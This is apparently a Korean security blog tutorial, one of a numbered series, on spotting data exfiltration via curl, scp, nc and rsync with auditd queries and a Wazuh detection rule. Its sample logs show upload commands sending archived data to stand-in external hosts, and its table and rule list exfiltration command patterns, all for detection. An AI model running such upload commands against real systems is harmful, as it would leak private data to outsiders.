시스템 보안 · 취약점 › E. 중요 정보 접근 로그 분석 · 32/50편 (전체 232/450)
학습 단계: 데이터 유출(exfiltration) 징후
실습 표기: 이 글의 명령어·출력·로그는 로컬 VMware 테스트 VM(Rocky Linux 9 / Ubuntu 22.04) 기준의 「실습 예시」이며, IP·계정·호스트명은 가상의 값입니다.
가장 직접적인 유출은 전송 도구로 외부 서버에 데이터를 보내는 것입니다. curl·wget(HTTP), scp·sftp(SSH), nc·socat(raw) 등으로 수집·압축한 데이터를 전송하는 실행 단계를 탐지합니다.
외부 전송 유출 패턴
curl -T/-d file http://외부 : HTTP 업로드
wget --post-file : HTTP POST
scp file user@외부:/ : SSH 전송
nc 외부 port < file : raw 전송
rsync file 외부:: : rsync 전송
탐지: 전송 프로세스(호스트) + 외부 목적지(네트워크) + 데이터
호스트 감사(프로세스·파일)와 네트워크(아웃바운드 목적지)를 결합해야 "무엇을 어디로" 보냈는지 완전히 파악됩니다.
| 전송 방법 | 채널 | 위험 |
|---|---|---|
curl -T/-d | HTTP 업로드 | 높음 |
scp/sftp | SSH 전송 | 높음 |
nc/socat | raw 전송 | 높음 |
rsync 외부 | 동기화 전송 | 높음 |
| 정상 API·업데이트 | 허용 목적지 | 정상 |
# 외부 전송 유출 탐지 (분석 방법)
# 전송 도구 + 외부 목적지(파일 전송)
sudo ausearch -k exfil -i --start recent 2>/dev/null | grep -oE 'proctitle=.*(curl|wget|scp|nc|rsync).*' | tail
# 아웃바운드 연결(외부 IP)
ss -tnp 2>/dev/null | grep -E 'curl|scp|nc' | grep -vE '127.0.0.1|10\.|192\.168\.|172\.(1[6-9]|2[0-9]|3[01])\.'
$ (전송 도구) 정상 API·업데이트 연결만(허용 목적지)
$ (아웃바운드) 업데이트 서버·모니터링 등 정상 목적지
아웃바운드 전송이 허용된 정상 목적지(업데이트·API)로만 발생하고, 데이터 파일 전송이 없는 상태가 정상입니다.
$ (전송 도구)
04:06 proctitle="curl -T /tmp/.d/all.tgz http://192.0.2.88/upload"
04:07 proctitle="scp /tmp/e.bin attacker@203.0.113.9:/data"
$ (아웃바운드)
www-data → 192.0.2.88:80, 203.0.113.9:22 (생소한 외부)
외부 전송 유출 흐름입니다(가상의 예시 로그).
type=SYSCALL comm="curl" auid=www-data key="exfil"
type=PROCTITLE proctitle=curl -T /tmp/.d/all.tgz http://192.0.2.88/upload
[네트워크] www-data → 192.0.2.88:80 (대용량 아웃바운드)
→ staging 데이터(E25)를 외부로 전송(유출 실행)
| 관찰 | 해석 |
|---|---|
| curl -T all.tgz | 파일 업로드 |
| 외부 192.0.2.88 | 생소한 목적지 |
| 전송 파일=수집 | 유출 데이터 |
| auid=www-data | 유출 주체 |
전송 프로세스+외부 목적지+전송 파일(수집 데이터)이 모두 맞으면 유출 확정입니다.
<!-- 실습 예시 룰: 적용 전 wazuh-logtest 및 테스트 환경 검증 필요 -->
<group name="local,syssec_e,exfiltration,">
<!-- 전송 도구로 파일 업로드(외부 목적지) -->
<rule id="104310" level="13">
<if_sid>104280</if_sid>
<field name="audit.proctitle" type="pcre2">(curl\s+.*-T|curl\s+.*-d\s+@|wget\s+.*--post-file|scp\s+\S+\s+\S+@|nc\s+.*<)</field>
<description>전송 도구로 외부 파일 업로드(유출 실행)</description>
<mitre><id>T1041</id></mitre>
</rule>
</group>
정상 아웃바운드(업데이트·API)는 목적지 화이트리스트로 제외합니다. 수집(E25)·압축(E30)→전송 세션 연계가 핵심입니다.
| 전송 방법 | 채널 |
|---|---|
| curl -T/-d | HTTP 업로드 |
| scp/sftp | SSH 전송 |
| nc/socat | raw 전송 |
| rsync 외부 | 동기화 전송 |
| 면접 포인트 | "외부 전송은 유출 실행 — 프로세스+외부 목적지+전송 파일 결합으로 확정" |
다음 편 233. 중요 정보 접근 — DNS 터널링 유출 탐지 에서는 DNS 터널링 유출을 다루는 DNS 터널링 유출 탐지를 다룹니다.
이전 편: 231. 중요 정보 접근 — 인코딩·난독화를 통한 유출 탐지
📚 시리즈 전체 보기: 시스템 보안 · 취약점